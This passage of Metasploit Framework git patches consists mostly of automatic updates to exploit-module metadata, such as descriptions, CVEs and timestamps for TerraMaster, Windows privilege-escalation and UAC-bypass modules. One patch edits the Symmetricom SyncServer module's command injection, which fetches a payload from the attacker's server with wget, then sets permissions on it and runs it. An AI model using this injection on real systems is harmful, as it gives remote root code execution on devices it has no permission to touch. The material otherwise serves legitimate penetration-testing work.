"0xf4n9x" + ], + "description": "This module exploits an unauthenticated remote code execution vulnerability in TerraMaster TOS 4.2.29\n and lower by chaining two existing vulnerabilities, CVE-2022-24990 \"Leaking sensitive information\"\n and CVE-2022-24989, \"Authenticated remote code execution\".\n Exploiting vulnerable endpoint `api.php?mobile/webNasIPS` leaking sensitive information such as admin password\n hash and mac address, the attacker can achieve unauthenticated access and use another vulnerable endpoint\n `api.php?mobile/createRaid` with POST parameters `raidtype` and `diskstring` to execute remote code as root\n on TerraMaster NAS devices.", + "references": [ + "CVE-2022-24990", + "CVE-2022-24989", + "URL-https://octagon.net/blog/2022/03/07/cve-2022-24990-terrmaster-tos-unauthenticated-remote-command-execution-via-php-object-instantiation/", + "URL-https://github.com/0xf4n9x/CVE-2022-24990", + "URL-https://attackerkb.com/topics/h8YKVKx21t/cve-2022-24990" + ], + "platform": "Linux,Unix", + "arch": "cmd, x64, x86, aarch64", + "rport": 8181, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "Unix Command", + "Linux Dropper" + ], + "mod_time": "2023-06-12 19:28:08 +0000", + "path": "/modules/exploits/linux/http/terramaster_unauth_rce_cve_2022_24990.rb", + "is_install_path": true, + "ref_name": "linux/http/terramaster_unauth_rce_cve_2022_24990", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "ioc-in-logs", + "artifacts-on-disk" + ] + }, + "session_types": false, + "needs_cleanup": true + }, "exploit_linux/http/tiki_calendar_exec": { "name": "Tiki-Wiki CMS Calendar Command Execution", "fullname": "exploit/linux/http/tiki_calendar_exec", From 37bc9cd5a45f3cecf092c72a2856d83347bb2954 Mon Sep 17 00:00:00 2001 From: Steve Campbell Date: Tue, 13 Jun 2023 16:22:08 -0400 Subject: [PATCH 383/415] Update symmetricom_syncserver_rce.rb Updated info to add allowed SRVPORT and LPORT, and fixed issue with srvport variable not used. --- modules/exploits/linux/http/symmetricom_syncserver_rce.rb | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/symmetricom_syncserver_rce.rb b/modules/exploits/linux/http/symmetricom_syncserver_rce.rb index e5e55ab4b52f4..70edd254b6c9b 100644 --- a/modules/exploits/linux/http/symmetricom_syncserver_rce.rb +++ b/modules/exploits/linux/http/symmetricom_syncserver_rce.rb @@ -20,6 +20,8 @@ def initialize(info = {}) Later models require authentication which is not provided in this module because we can't test it. The command injection vulnerability is patched in the S650 v2.2 (CVE-2022-40022). Run 'check' first to determine if vulnerable. + The server limits outbound ports. Ports 25 and 80 TCP were successfully used for SRVPORT + and LPORT while testing this module. }, 'Author' => [ 'Steve Campbell', # @lpha3ch0 - Exploit PoC, Metasploit module @@ -115,7 +117,7 @@ def exploit resource_uri = '/' + filename shell_path = '/tmp/' cmds = [ - "\`wget${IFS}http://" + srvhost + '/' + filename + '${IFS}-O${IFS}' + shell_path + filename + "\`", + "\`wget${IFS}http://" + srvhost + ':' + srvport + '/' + filename + '${IFS}-O${IFS}' + shell_path + filename + "\`", "\`chmod${IFS}700${IFS}" + shell_path + filename + "\`", "\`" + shell_path + filename + "\`" ] From 9f276bd727e6626f4b19bf68663611d6b307bde6 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Tue, 13 Jun 2023 15:57:29 -0500 Subject: [PATCH 384/415] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 204 ++++++++++++++++++---------------- 1 file changed, 110 insertions(+), 94 deletions(-) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index c8872783ecaa5..5cb64e72b0435 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -157316,7 +157316,7 @@ "targets": [ "Windows 10 x64" ], - "mod_time": "2021-08-26 09:27:21 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/alpc_taskscheduler.rb", "is_install_path": true, "ref_name": "windows/local/alpc_taskscheduler", @@ -157495,7 +157495,7 @@ "James Forshaw", "Shelby Pace" ], - "description": "There exists a privilege escalation vulnerability for\n Windows 10 builds prior to build 17763. Due to the AppXSvc's\n improper handling of hard links, a user can gain full\n privileges over a SYSTEM-owned file. The user can then utilize\n the new file to execute code as SYSTEM.\n\n This module employs a technique using the Diagnostics Hub Standard\n Collector Service (DiagHub) which was discovered by James Forshaw to\n load and execute a DLL as SYSTEM.", + "description": "There exists a privilege escalation vulnerability for\n Windows 10 builds prior to build 17763. Due to the AppXSvc's\n improper handling of hard links, a user can gain full\n privileges over a SYSTEM-owned file. The user can then utilize\n the new file to execute code as SYSTEM.\n\n This module employs a technique using the Diagnostics Hub Standard\n Collector Service (DiagHub) which was discovered by James Forshaw to\n load and execute a DLL as SYSTEM.", "references": [ "CVE-2019-0841", "URL-https://krbtgt.pw/dacl-permissions-overwrite-privilege-escalation-cve-2019-0841/", @@ -157503,7 +157503,7 @@ "URL-https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html", "URL-https://0x00-0x00.github.io/research/2019/05/30/Coding-a-reliable-CVE-2019-0841-Bypass.html" ], - "platform": "", + "platform": "Windows", "arch": "", "rport": null, "autofilter_ports": [ @@ -157515,7 +157515,7 @@ "targets": [ "Windows 10" ], - "mod_time": "2019-07-09 11:39:38 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/appxsvc_hard_link_privesc.rb", "is_install_path": true, "ref_name": "windows/local/appxsvc_hard_link_privesc", @@ -157525,7 +157525,7 @@ "notes": { }, "session_types": [ - + "meterpreter" ], "needs_cleanup": true }, @@ -157604,7 +157604,7 @@ "targets": [ "Automatic" ], - "mod_time": "2023-04-21 10:13:37 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/bits_ntlm_token_impersonation.rb", "is_install_path": true, "ref_name": "windows/local/bits_ntlm_token_impersonation", @@ -157659,7 +157659,7 @@ "targets": [ "Windows XP SP3" ], - "mod_time": "2021-10-06 13:43:31 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/bthpan.rb", "is_install_path": true, "ref_name": "windows/local/bthpan", @@ -157704,7 +157704,7 @@ "Windows x86", "Windows x64" ], - "mod_time": "2021-10-06 13:43:31 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/bypassuac.rb", "is_install_path": true, "ref_name": "windows/local/bypassuac", @@ -157749,7 +157749,7 @@ "targets": [ "Automatic" ], - "mod_time": "2022-03-03 13:02:55 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/bypassuac_comhijack.rb", "is_install_path": true, "ref_name": "windows/local/bypassuac_comhijack", @@ -157804,7 +157804,7 @@ "targets": [ "Windows x64" ], - "mod_time": "2023-03-13 10:31:27 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/bypassuac_dotnet_profiler.rb", "is_install_path": true, "ref_name": "windows/local/bypassuac_dotnet_profiler", @@ -157859,7 +157859,7 @@ "Windows x86", "Windows x64" ], - "mod_time": "2021-10-06 13:43:31 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/bypassuac_eventvwr.rb", "is_install_path": true, "ref_name": "windows/local/bypassuac_eventvwr", @@ -157905,7 +157905,7 @@ "Windows x86", "Windows x64" ], - "mod_time": "2021-10-06 13:43:31 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/bypassuac_fodhelper.rb", "is_install_path": true, "ref_name": "windows/local/bypassuac_fodhelper", @@ -157954,7 +157954,7 @@ "Windows x86", "Windows x64" ], - "mod_time": "2022-12-04 17:41:24 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/bypassuac_injection.rb", "is_install_path": true, "ref_name": "windows/local/bypassuac_injection", @@ -157997,7 +157997,7 @@ "Windows x86", "Windows x64" ], - "mod_time": "2023-02-09 11:43:20 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/bypassuac_injection_winsxs.rb", "is_install_path": true, "ref_name": "windows/local/bypassuac_injection_winsxs", @@ -158042,7 +158042,7 @@ "targets": [ "Windows x64" ], - "mod_time": "2023-03-13 10:31:27 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/bypassuac_sdclt.rb", "is_install_path": true, "ref_name": "windows/local/bypassuac_sdclt", @@ -158147,7 +158147,7 @@ "Windows x86", "Windows x64" ], - "mod_time": "2021-10-06 13:43:31 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/bypassuac_sluihijack.rb", "is_install_path": true, "ref_name": "windows/local/bypassuac_sluihijack", @@ -158174,7 +158174,7 @@ "Vozzie", "Ben Campbell " ], - "description": "This module will bypass Windows UAC by utilizing the missing .manifest on the script host\n cscript/wscript.exe binaries.", + "description": "This module will bypass Windows UAC by utilizing the missing .manifest on the script host\n cscript/wscript.exe binaries.", "references": [ "URL-http://seclist.us/uac-bypass-vulnerability-in-the-windows-script-host.html", "URL-https://github.com/Vozzie/uacscript" @@ -158191,7 +158191,7 @@ "targets": [ "Automatic" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/bypassuac_vbs.rb", "is_install_path": true, "ref_name": "windows/local/bypassuac_vbs", @@ -158237,7 +158237,7 @@ "targets": [ "Automatic" ], - "mod_time": "2021-10-06 13:43:31 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/bypassuac_windows_store_filesys.rb", "is_install_path": true, "ref_name": "windows/local/bypassuac_windows_store_filesys", @@ -158287,7 +158287,7 @@ "targets": [ "Automatic" ], - "mod_time": "2022-12-12 16:53:34 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/bypassuac_windows_store_reg.rb", "is_install_path": true, "ref_name": "windows/local/bypassuac_windows_store_reg", @@ -158386,7 +158386,7 @@ "targets": [ "Windows x64 (<= 10)" ], - "mod_time": "2021-10-06 13:43:31 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/capcom_sys_exec.rb", "is_install_path": true, "ref_name": "windows/local/capcom_sys_exec", @@ -158435,7 +158435,7 @@ "targets": [ "Windows x64" ], - "mod_time": "2021-10-06 13:43:31 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/comahawk.rb", "is_install_path": true, "ref_name": "windows/local/comahawk", @@ -158585,7 +158585,7 @@ "targets": [ "Windows 10 v1703 (Build 15063) x86" ], - "mod_time": "2021-10-06 13:43:31 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/cve_2018_8453_win32k_priv_esc.rb", "is_install_path": true, "ref_name": "windows/local/cve_2018_8453_win32k_priv_esc", @@ -158640,7 +158640,7 @@ "targets": [ "Windows 7 x64" ], - "mod_time": "2022-12-05 10:30:53 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/cve_2019_1458_wizardopium.rb", "is_install_path": true, "ref_name": "windows/local/cve_2019_1458_wizardopium", @@ -158698,7 +158698,7 @@ "targets": [ "Windows x64" ], - "mod_time": "2021-09-08 21:56:02 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/cve_2020_0668_service_tracing.rb", "is_install_path": true, "ref_name": "windows/local/cve_2020_0668_service_tracing", @@ -158756,7 +158756,7 @@ "targets": [ "Windows DLL Dropper" ], - "mod_time": "2021-09-08 21:56:02 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/cve_2020_0787_bits_arbitrary_file_move.rb", "is_install_path": true, "ref_name": "windows/local/cve_2020_0787_bits_arbitrary_file_move", @@ -158811,7 +158811,7 @@ "targets": [ "Windows 10 v1903-1909 x64" ], - "mod_time": "2021-08-27 17:15:33 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/cve_2020_0796_smbghost.rb", "is_install_path": true, "ref_name": "windows/local/cve_2020_0796_smbghost", @@ -158873,7 +158873,7 @@ "targets": [ "Automatic" ], - "mod_time": "2021-09-08 21:56:02 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/cve_2020_1048_printerdemon.rb", "is_install_path": true, "ref_name": "windows/local/cve_2020_1048_printerdemon", @@ -158881,6 +158881,16 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "artifacts-on-disk", + "screen-effects" + ] }, "session_types": [ "meterpreter" @@ -158923,7 +158933,7 @@ "targets": [ "Windows 7 x64" ], - "mod_time": "2023-02-08 15:20:32 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/cve_2020_1054_drawiconex_lpe.rb", "is_install_path": true, "ref_name": "windows/local/cve_2020_1054_drawiconex_lpe", @@ -158976,7 +158986,7 @@ "targets": [ "Windows x64" ], - "mod_time": "2023-03-13 10:31:27 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/cve_2020_1313_system_orchestrator.rb", "is_install_path": true, "ref_name": "windows/local/cve_2020_1313_system_orchestrator", @@ -159035,7 +159045,7 @@ "targets": [ "Automatic" ], - "mod_time": "2023-03-13 10:31:27 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/cve_2020_1337_printerdemon.rb", "is_install_path": true, "ref_name": "windows/local/cve_2020_1337_printerdemon", @@ -159090,7 +159100,7 @@ "targets": [ "Windows DLL Dropper" ], - "mod_time": "2022-03-10 18:03:35 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/cve_2020_17136.rb", "is_install_path": true, "ref_name": "windows/local/cve_2020_17136", @@ -159145,7 +159155,7 @@ "targets": [ "Windows x64" ], - "mod_time": "2021-09-08 21:56:02 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/cve_2021_21551_dbutil_memmove.rb", "is_install_path": true, "ref_name": "windows/local/cve_2021_21551_dbutil_memmove", @@ -159158,6 +159168,9 @@ ], "Reliability": [ "repeatable-session" + ], + "SideEffects": [ + "ioc-in-logs" ] }, "session_types": [ @@ -159203,7 +159216,7 @@ "targets": [ "Windows 10 x64 RS1 (build 14393) and RS5 (build 17763)" ], - "mod_time": "2021-11-08 16:12:20 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/cve_2021_40449.rb", "is_install_path": true, "ref_name": "windows/local/cve_2021_40449", @@ -159272,7 +159285,7 @@ "targets": [ "Windows 10 v1803-21H2 x64" ], - "mod_time": "2022-02-24 11:24:20 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/cve_2022_21882_win32k.rb", "is_install_path": true, "ref_name": "windows/local/cve_2022_21882_win32k", @@ -159325,7 +159338,7 @@ "targets": [ "Auto" ], - "mod_time": "2022-03-15 16:45:36 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/cve_2022_21999_spoolfool_privesc.rb", "is_install_path": true, "ref_name": "windows/local/cve_2022_21999_spoolfool_privesc", @@ -159383,7 +159396,7 @@ "targets": [ "Windows 11" ], - "mod_time": "2022-04-07 10:48:08 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/cve_2022_26904_superprofile.rb", "is_install_path": true, "ref_name": "windows/local/cve_2022_26904_superprofile", @@ -159549,7 +159562,7 @@ "targets": [ "Automatic" ], - "mod_time": "2021-09-08 21:56:02 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/dnsadmin_serverlevelplugindll.rb", "is_install_path": true, "ref_name": "windows/local/dnsadmin_serverlevelplugindll", @@ -159812,7 +159825,7 @@ "targets": [ "Windows" ], - "mod_time": "2021-09-08 21:56:02 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/ipass_launch_app.rb", "is_install_path": true, "ref_name": "windows/local/ipass_launch_app", @@ -159858,7 +159871,7 @@ "targets": [ "Windows" ], - "mod_time": "2021-09-08 21:56:02 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/lenovo_systemupdate.rb", "is_install_path": true, "ref_name": "windows/local/lenovo_systemupdate", @@ -160011,7 +160024,7 @@ "targets": [ "Windows x64" ], - "mod_time": "2021-09-08 21:56:02 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/mov_ss.rb", "is_install_path": true, "ref_name": "windows/local/mov_ss", @@ -160056,7 +160069,7 @@ "targets": [ "Windows XP SP3" ], - "mod_time": "2021-09-08 21:56:02 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/mqac_write.rb", "is_install_path": true, "ref_name": "windows/local/mqac_write", @@ -160088,7 +160101,7 @@ "Pusscat", "OJ Reeves" ], - "description": "This module will create a new session with SYSTEM privileges via the\n KiTrap0D exploit by Tavis Ormandy. If the session in use is already\n elevated then the exploit will not run. The module relies on kitrap0d.x86.dll,\n and is not supported on x64 editions of Windows.", + "description": "This module will create a new session with SYSTEM privileges via the\n KiTrap0D exploit by Tavis Ormandy. If the session in use is already\n elevated then the exploit will not run. The module relies on kitrap0d.x86.dll,\n and is not supported on x64 editions of Windows.", "references": [ "CVE-2010-0232", "OSVDB-61854", @@ -160108,7 +160121,7 @@ "targets": [ "Windows 2K SP4 - Windows 7 (x86)" ], - "mod_time": "2021-07-21 12:35:47 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/ms10_015_kitrap0d.rb", "is_install_path": true, "ref_name": "windows/local/ms10_015_kitrap0d", @@ -160214,7 +160227,7 @@ "Windows XP SP2 / SP3", "Windows Server 2003 SP2" ], - "mod_time": "2022-12-05 10:30:53 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/ms11_080_afdjoinleaf.rb", "is_install_path": true, "ref_name": "windows/local/ms11_080_afdjoinleaf", @@ -160319,7 +160332,7 @@ "targets": [ "Windows 7 SP0/SP1" ], - "mod_time": "2021-09-08 21:56:02 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/ms13_053_schlamperei.rb", "is_install_path": true, "ref_name": "windows/local/ms13_053_schlamperei", @@ -160348,7 +160361,7 @@ "Matias Soler", "Spencer McIntyre" ], - "description": "This module exploits a vulnerability in win32k.sys where under\n specific conditions TrackPopupMenuEx will pass a NULL pointer to\n the MNEndMenuState procedure. This module has been tested\n successfully on Windows 7 SP0 and Windows 7 SP1.", + "description": "This module exploits a vulnerability in win32k.sys where under\n specific conditions TrackPopupMenuEx will pass a NULL pointer to\n the MNEndMenuState procedure. This module has been tested\n successfully on Windows 7 SP0 and Windows 7 SP1.", "references": [ "CVE-2013-3881", "OSVDB-98212", @@ -160369,7 +160382,7 @@ "targets": [ "Windows 7 SP0/SP1" ], - "mod_time": "2021-07-21 12:35:47 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/ms13_081_track_popup_menu.rb", "is_install_path": true, "ref_name": "windows/local/ms13_081_track_popup_menu", @@ -160493,7 +160506,7 @@ "Spencer McIntyre", "OJ Reeves " ], - "description": "This module exploits a NULL Pointer Dereference in win32k.sys, the vulnerability\n can be triggered through the use of TrackPopupMenu. Under special conditions, the\n NULL pointer dereference can be abused on xxxSendMessageTimeout to achieve arbitrary\n code execution. This module has been tested successfully on Windows XP SP3, Windows\n 2003 SP2, Windows 7 SP1 and Windows 2008 32bits. Also on Windows 7 SP1 and Windows\n 2008 R2 SP1 64 bits.", + "description": "This module exploits a NULL Pointer Dereference in win32k.sys, the vulnerability\n can be triggered through the use of TrackPopupMenu. Under special conditions, the\n NULL pointer dereference can be abused on xxxSendMessageTimeout to achieve arbitrary\n code execution. This module has been tested successfully on Windows XP SP3, Windows\n 2003 SP2, Windows 7 SP1 and Windows 2008 32bits. Also on Windows 7 SP1 and Windows\n 2008 R2 SP1 64 bits.", "references": [ "CVE-2014-4113", "OSVDB-113167", @@ -160514,7 +160527,7 @@ "Windows x86", "Windows x64" ], - "mod_time": "2021-07-21 12:35:47 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/ms14_058_track_popup_menu.rb", "is_install_path": true, "ref_name": "windows/local/ms14_058_track_popup_menu", @@ -160610,7 +160623,7 @@ "targets": [ "Protected Mode (Windows 7) / 32 bits" ], - "mod_time": "2021-09-08 21:56:02 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/ms15_004_tswbproxy.rb", "is_install_path": true, "ref_name": "windows/local/ms15_004_tswbproxy", @@ -160639,7 +160652,7 @@ "OJ Reeves", "Spencer McIntyre" ], - "description": "This module exploits improper object handling in the win32k.sys kernel mode driver.\n This module has been tested on vulnerable builds of Windows 7 x64 and x86, and\n Windows 2008 R2 SP1 x64.", + "description": "This module exploits improper object handling in the win32k.sys kernel mode driver.\n This module has been tested on vulnerable builds of Windows 7 x64 and x86, and\n Windows 2008 R2 SP1 x64.", "references": [ "CVE-2015-1701", "MSB-MS15-051", @@ -160660,7 +160673,7 @@ "Windows x86", "Windows x64" ], - "mod_time": "2021-07-21 12:35:47 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/ms15_051_client_copy_image.rb", "is_install_path": true, "ref_name": "windows/local/ms15_051_client_copy_image", @@ -160715,7 +160728,7 @@ "targets": [ "Windows 8.1 x64" ], - "mod_time": "2021-09-08 21:56:02 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/ms15_078_atmfd_bof.rb", "is_install_path": true, "ref_name": "windows/local/ms15_078_atmfd_bof", @@ -160743,7 +160756,7 @@ "de7ec7ed", "de7ec7ed" ], - "description": "This module exploits an uninitialized stack variable in the WMI subsystem of ntoskrnl.\n This module has been tested on vulnerable builds of Windows 7 SP0 x64 and Windows 7 SP1 x64.", + "description": "This module exploits an uninitialized stack variable in the WMI subsystem of ntoskrnl.\n This module has been tested on vulnerable builds of Windows 7 SP0 x64 and Windows 7 SP1 x64.", "references": [ "CVE-2016-0040", "MSB-MS16-014", @@ -160763,7 +160776,7 @@ "targets": [ "Windows 7 SP0/SP1" ], - "mod_time": "2021-07-21 12:35:47 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/ms16_014_wmi_recv_notif.rb", "is_install_path": true, "ref_name": "windows/local/ms16_014_wmi_recv_notif", @@ -160855,7 +160868,7 @@ "Windows x86", "Windows x64" ], - "mod_time": "2023-03-22 12:52:15 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/ms16_032_secondary_logon_handle_privesc.rb", "is_install_path": true, "ref_name": "windows/local/ms16_032_secondary_logon_handle_privesc", @@ -160967,7 +160980,7 @@ "targets": [ "Automatic" ], - "mod_time": "2021-09-08 21:56:02 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/ms16_075_reflection_juicy.rb", "is_install_path": true, "ref_name": "windows/local/ms16_075_reflection_juicy", @@ -161019,7 +161032,7 @@ "Windows 7 x64", "Windows 7 x86" ], - "mod_time": "2021-09-08 21:56:02 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/ms18_8120_win32k_privesc.rb", "is_install_path": true, "ref_name": "windows/local/ms18_8120_win32k_privesc", @@ -161075,7 +161088,7 @@ "Windows XP SP3", "Windows Server 2003 SP2" ], - "mod_time": "2021-09-08 21:56:02 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/ms_ndproxy.rb", "is_install_path": true, "ref_name": "windows/local/ms_ndproxy", @@ -161122,7 +161135,7 @@ "Automatic", "Windows 7 SP1" ], - "mod_time": "2021-09-08 21:56:02 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/novell_client_nicm.rb", "is_install_path": true, "ref_name": "windows/local/novell_client_nicm", @@ -161168,7 +161181,7 @@ "Automatic", "Windows XP SP3" ], - "mod_time": "2021-09-08 21:56:02 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/novell_client_nwfs.rb", "is_install_path": true, "ref_name": "windows/local/novell_client_nwfs", @@ -161259,7 +161272,7 @@ "James Forshaw", "sinn3r " ], - "description": "On Windows, the system call NtApphelpCacheControl (the code is actually in ahcache.sys)\n allows application compatibility data to be cached for quick reuse when new processes are\n created. A normal user can query the cache but cannot add new cached entries as the\n operation is restricted to administrators. This is checked in the function\n AhcVerifyAdminContext.\n\n This function has a vulnerability where it doesn't correctly check the impersonation token\n of the caller to determine if the user is an administrator. It reads the caller's\n impersonation token using PsReferenceImpersonationToken and then does a comparison between\n the user SID in the token to LocalSystem's SID. It doesn't check the impersonation level\n of the token so it's possible to get an identify token on your thread from a local system\n process and bypass this check.\n\n This module currently only affects Windows 8 and Windows 8.1, and requires access to\n C:\\Windows\\System\\ComputerDefaults.exe (although this can be improved).", + "description": "On Windows, the system call NtApphelpCacheControl (the code is actually in ahcache.sys)\n allows application compatibility data to be cached for quick reuse when new processes are\n created. A normal user can query the cache but cannot add new cached entries as the\n operation is restricted to administrators. This is checked in the function\n AhcVerifyAdminContext.\n\n This function has a vulnerability where it doesn't correctly check the impersonation token\n of the caller to determine if the user is an administrator. It reads the caller's\n impersonation token using PsReferenceImpersonationToken and then does a comparison between\n the user SID in the token to LocalSystem's SID. It doesn't check the impersonation level\n of the token so it's possible to get an identify token on your thread from a local system\n process and bypass this check.\n\n This module currently only affects Windows 8 and Windows 8.1, and requires access to\n C:\\Windows\\System\\ComputerDefaults.exe (although this can be improved).", "references": [ "MSB-MS15-001", "CVE-2015-0002", @@ -161279,7 +161292,7 @@ "targets": [ "Windows 8 / Windows 8.1 (x86 and x64)" ], - "mod_time": "2023-03-22 12:52:15 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/ntapphelpcachecontrol.rb", "is_install_path": true, "ref_name": "windows/local/ntapphelpcachecontrol", @@ -161336,7 +161349,7 @@ "targets": [ "Windows 7 x86" ], - "mod_time": "2023-02-08 15:20:32 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/ntusermndragover.rb", "is_install_path": true, "ref_name": "windows/local/ntusermndragover", @@ -161390,7 +161403,7 @@ "targets": [ "Windows x64" ], - "mod_time": "2021-09-08 21:56:02 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/nvidia_nvsvc.rb", "is_install_path": true, "ref_name": "windows/local/nvidia_nvsvc", @@ -161417,7 +161430,7 @@ "h00die ", "Security-Assessment.com" ], - "description": "PSEvents.exe within several Panda Security products runs hourly with SYSTEM privileges.\n When run, it checks a user writable folder for certain DLL files, and if any are found\n they are automatically run.\n Vulnerable Products:\n Panda Global Protection 2016 (<=16.1.2)\n Panda Antivirus Pro 2016 (<=16.1.2)\n Panda Small Business Protection (<=16.1.2)\n Panda Internet Security 2016 (<=16.1.2)", + "description": "PSEvents.exe within several Panda Security products runs hourly with SYSTEM privileges.\n When run, it checks a user writable folder for certain DLL files, and if any are found\n they are automatically run.\n Vulnerable Products:\n Panda Global Protection 2016 (<=16.1.2)\n Panda Antivirus Pro 2016 (<=16.1.2)\n Panda Small Business Protection (<=16.1.2)\n Panda Internet Security 2016 (<=16.1.2)", "references": [ ], @@ -161434,7 +161447,7 @@ "Windows x86", "Windows x64" ], - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/panda_psevents.rb", "is_install_path": true, "ref_name": "windows/local/panda_psevents", @@ -161796,7 +161809,7 @@ "targets": [ "Automatic" ], - "mod_time": "2021-09-08 21:56:02 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/ppr_flatten_rec.rb", "is_install_path": true, "ref_name": "windows/local/ppr_flatten_rec", @@ -162157,7 +162170,7 @@ "targets": [ "Windows" ], - "mod_time": "2022-12-09 11:24:16 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/s4u_persistence.rb", "is_install_path": true, "ref_name": "windows/local/s4u_persistence", @@ -162243,7 +162256,7 @@ "targets": [ "Windows Server 2012 (x64)" ], - "mod_time": "2021-09-08 21:56:02 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/srclient_dll_hijacking.rb", "is_install_path": true, "ref_name": "windows/local/srclient_dll_hijacking", @@ -162258,6 +162271,9 @@ "artifacts-on-disk", "ioc-in-logs", "screen-effects" + ], + "Reliability": [ + ] }, "session_types": [ @@ -162299,7 +162315,7 @@ "targets": [ "Automatic" ], - "mod_time": "2023-02-08 15:20:32 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/tokenmagic.rb", "is_install_path": true, "ref_name": "windows/local/tokenmagic", @@ -162408,7 +162424,7 @@ "targets": 